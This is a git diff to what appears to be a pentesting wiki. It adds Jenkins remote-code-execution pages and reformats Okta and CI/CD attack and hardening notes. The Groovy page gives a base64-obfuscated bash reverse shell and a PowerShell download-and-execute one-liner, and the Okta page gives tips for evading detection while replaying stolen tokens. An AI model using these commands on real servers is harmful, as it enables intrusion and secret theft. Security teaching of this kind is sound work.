--- /dev/null
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -0,0 +1,36 @@
+# Jenkins RCE Creating/Modifying Project
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Creating a Project
+
+This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
+
+1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
+2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
+3. Click **Build now**
+   1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
+   2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
+
+![](<../../images/image (165).png>)
+
+## Modifying a Project
+
+Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
+
+![](<../../images/image (265).png>)
+
+If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
+
+Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
+
+## Execution
+
+If you are allowed to configure the project you can **make it execute commands when a build is successful**:
+
+![](<../../images/image (98).png>)
+
+Click on **Save** and **build** the project and your **command will be executed**.\
+If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
new file mode 100644
index 000000000..d7b9fa3eb
--- /dev/null
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -0,0 +1,63 @@
+# Jenkins RCE with Groovy Script
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Jenkins RCE with Groovy Script
+
+This is less noisy than creating a new project in Jenkins
+
+1. Go to _path_jenkins/script_
+2. Inside the text box introduce the script
+
+```python
+def process = "PowerShell.exe <WHATEVER>".execute()
+println "Found text ${process.text}"
+```
+
+You could execute a command using: `cmd.exe /c dir`
+
+In **linux** you can do: **`"ls /".execute().text`**
+
+If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
+
+**Another useful groovy script** is (replace \[INSERT COMMAND]):
+
+```python
+def sout = new StringBuffer(), serr = new StringBuffer()
+def proc = '[INSERT COMMAND]'.execute()
+proc.consumeProcessOutput(sout, serr)
+proc.waitForOrKill(1000)
+println "out> $sout err> $serr"
+```
+
+### Reverse shell in linux
+
+```python
+def sout = new StringBuffer(), serr = new StringBuffer()
+def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
+proc.consumeProcessOutput(sout, serr)
+proc.waitForOrKill(1000)
+println "out> $sout err> $serr"
+```
+
+### Reverse shell in windows
+
+You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
+
+```python
+scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
+echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
+cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
+```
+
+### Script
+
+You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
+
+You can use MSF to get a reverse shell:
+
+```
+msf> use exploit/multi/http/jenkins_script_console
+```
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
similarity index 66%
rename from pentesting-ci-cd/okta-security/README.md
rename to src/pentesting-ci-cd/okta-security/README.md
index ebb5511bf..10d34c1e4 100644
--- a/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -1,19 +1,6 @@
 # Okta Security
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -21,21 +8,19 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png"
 
 The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
 
-* **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
-* **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
-* **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
-* **Universal Directory**: Enables centralized management of users, groups, and devices.
-* **API Access Management**: Secures and manages access to APIs.
+- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
+- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
+- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
+- **Universal Directory**: Enables centralized management of users, groups, and devices.
+- **API Access Management**: Secures and manages access to APIs.
 
 These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
 
-{% hint style="danger" %}
-The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
-{% endhint %}
+> [!CAUTION]
+> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
 
-{% hint style="success" %}
-To perform a security review of an Okta environment you should ask for **administrator read-only access**.
-{% endhint %}
+> [!TIP]
+> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
 
 ### Summary
 
@@ -45,11 +30,10 @@ There are also **authenticators**: different options to authenticate like passwo
 
 Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
 
-{% hint style="danger" %}
-The most powerful role is **Super Administrator**.
-
-If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
-{% endhint %}
+> [!CAUTION]
+> The most powerful role is **Super Administrator**.
+>
+> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
 
 ## Attacks
 
@@ -96,7 +80,7 @@ Therefore, if the app is trusting the field **`userName`**, you probably won't b
 Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
 Therefore, the app should have this field enabled if it exists:
 
-<figure><img src="../../.gitbook/assets/image (175).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
 
 I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
 
@@ -108,36 +92,23 @@ Behavioral detection policies in Okta might be unknown until encountered, but **
 
 Key recommendations include:
 
-* **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
-* Ensure **consistent user-agent strings** between the client and replayed access tokens.
-* **Refrain from replaying** tokens from different users from the same IP address.
-* Exercise caution when replaying tokens against the Okta dashboard.
-* If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
+- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
+- Ensure **consistent user-agent strings** between the client and replayed access tokens.
+- **Refrain from replaying** tokens from different users from the same IP address.
+- Exercise caution when replaying tokens against the Okta dashboard.
+- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
 
 ## Okta Hardening
 
 Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
 
-{% content-ref url="okta-hardening.md" %}
-[okta-hardening.md](okta-hardening.md)
-{% endcontent-ref %}
+{{#ref}}
+okta-hardening.md
+{{#endref}}
 
 ## References
 
-* [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
-* [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
+- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
+- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
similarity index 73%
rename from pentesting-ci-cd/okta-security/okta-hardening.md
rename to src/pentesting-ci-cd/okta-security/okta-hardening.md
index 806102163..231b4c822 100644
--- a/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -1,19 +1,6 @@
 # Okta Hardening
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Directory
 
@@ -82,11 +69,11 @@ Here you can find all the **configured applications** and their details: Who has
 
 In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
 
-<figure><img src="../../.gitbook/assets/image (283).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
 
 And you could see some more details about the app (like the password reveal feature, if it's enabled):
 
-<figure><img src="../../.gitbook/assets/image (220).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
 
 ## Identity Governance
 
@@ -100,14 +87,14 @@ I haven't seen it used, but I guess that from a defensive point of view it's a n
 
 ### General
 
-* **Security notification emails**: All should be enabled.
-* **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
-* **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
-* **User enumeration prevention**: Both should be enabled
-  * Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
-    * Self-Service Registration
-    * JIT flows with email authentication
-* **Okta ThreatInsight settings**: Log and enforce security based on threat level
+- **Security notification emails**: All should be enabled.
+- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
+- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
+- **User enumeration prevention**: Both should be enabled
+  - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
+    - Self-Service Registration
+    - JIT flows with email authentication
+- **Okta ThreatInsight settings**: Log and enforce security based on threat level
 
 ### HealthInsight
 
@@ -119,7 +106,7 @@ Here you can find all the authentication methods that a user could use: Password
 
 In the **Enrollment** tab you can see how the ones that are required or optinal:
 
-<figure><img src="../../.gitbook/assets/image (143).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
 
 It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
 
@@ -133,7 +120,7 @@ Here you can find the **requirements to access each application**. It's recommen
 
 Here you can find the session policies assigned to different groups. For example:
 
-<figure><img src="../../.gitbook/assets/image (245).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
 
 It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
 
@@ -161,9 +148,9 @@ From an attackers perspective it's interesting to know which Ps are allowed (and
 
 ### Device Integrations
 
-* **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
-  * I haven't seen this used yet. TODO
-* **Notification services**: I haven't seen this used yet. TODO
+- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
+  - I haven't seen this used yet. TODO
+- **Notification services**: I haven't seen this used yet. TODO
 
 ### API
 
@@ -209,17 +196,4 @@ Here you can find **generic information** about the Okta environment, such as th
 
 Here you can download Okta agents to sync Okta with other technologies.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
similarity index 55%
rename from pentesting-ci-cd/pentesting-ci-cd-methodology.md
rename to src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 58cde5a81..1fb5c1428 100644
--- a/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -1,31 +1,18 @@
 # Pentesting CI/CD Methodology
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+{{#include ../banners/hacktricks-training.md}}
 
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-<figure><img src="../.gitbook/assets/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
+<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
 
 ## VCS
 
 VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
 
-* Github
-* Gitlab
-* Bitbucket
-* Gitea
-* Cloud providers (they offer their own VCS platforms)
+- Github
+- Gitlab
+- Bitbucket
+- Gitea
+- Cloud providers (they offer their own VCS platforms)
 
 ## CI/CD Pipelines
 
@@ -35,24 +22,23 @@ However, these systems need to be **executed somewhere** and usually with **priv
 
 ## VCS Pentesting Methodology
 
-{% hint style="info" %}
-Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
-{% endhint %}
+> [!NOTE]
+> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
 
 Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
 
-* **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
-* **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
-  * **Register**: Some platforms will just allow external users to create an account.
-  * **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
-  * **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
-* **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
-  * If no secret is in place, the attacker could abuse the webhook of the third party platform
-  * If the secret is in the URL, the same happens and the attacker also have the secret
-* **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
-  * Compromise the main branch to **compromise production**.
-  * Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
-  * **Compromise the pipeline** (check next section)
+- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
+- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
+  - **Register**: Some platforms will just allow external users to create an account.
+  - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
+  - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
+- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
+  - If no secret is in place, the attacker could abuse the webhook of the third party platform
+  - If the secret is in the URL, the same happens and the attacker also have the secret
+- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
+  - Compromise the main branch to **compromise production**.
+  - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
+  - **Compromise the pipeline** (check next section)
 
 ## Pipelines Pentesting Methodology
 
@@ -67,36 +53,36 @@ The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM reposi
 
 For a malicious actor to be successful performing a PPE attack he needs to be able to:
 
-* Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
-  * Note that sometimes an **external PR count as "write access"**.
-* Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
-  * For this, he might need to be able to **bypass branch protections**.
+- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
+  - Note that sometimes an **external PR count as "write access"**.
+- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
+  - For this, he might need to be able to **bypass branch protections**.
 
 There are 3 PPE flavours:
 
-* **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
-* **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
-* **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
-  * **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
+- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
+- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
+- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
+  - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
 
 ### Exploitation Benefits
 
 Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
 
-* **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
-  * Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
-* **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
-  * **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
-  * **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
-  * **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
-  * **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
-* **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
+- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
+  - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
+- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
+  - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
+  - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
+  - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
+  - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
+- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-* [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
 
 ### Top 10 CI/CD Security Risk
 
@@ -104,28 +90,15 @@ Check this interesting article about the top 10 CI/CD risks according to Cider:
 
 ### Labs
 
-* On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
-* Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
+- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
+- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
-* [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
 
 ## References
 
-* [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm\_source=github\&utm\_medium=github\_page\&utm\_campaign=ci%2fcd%20goat\_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422)
+- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
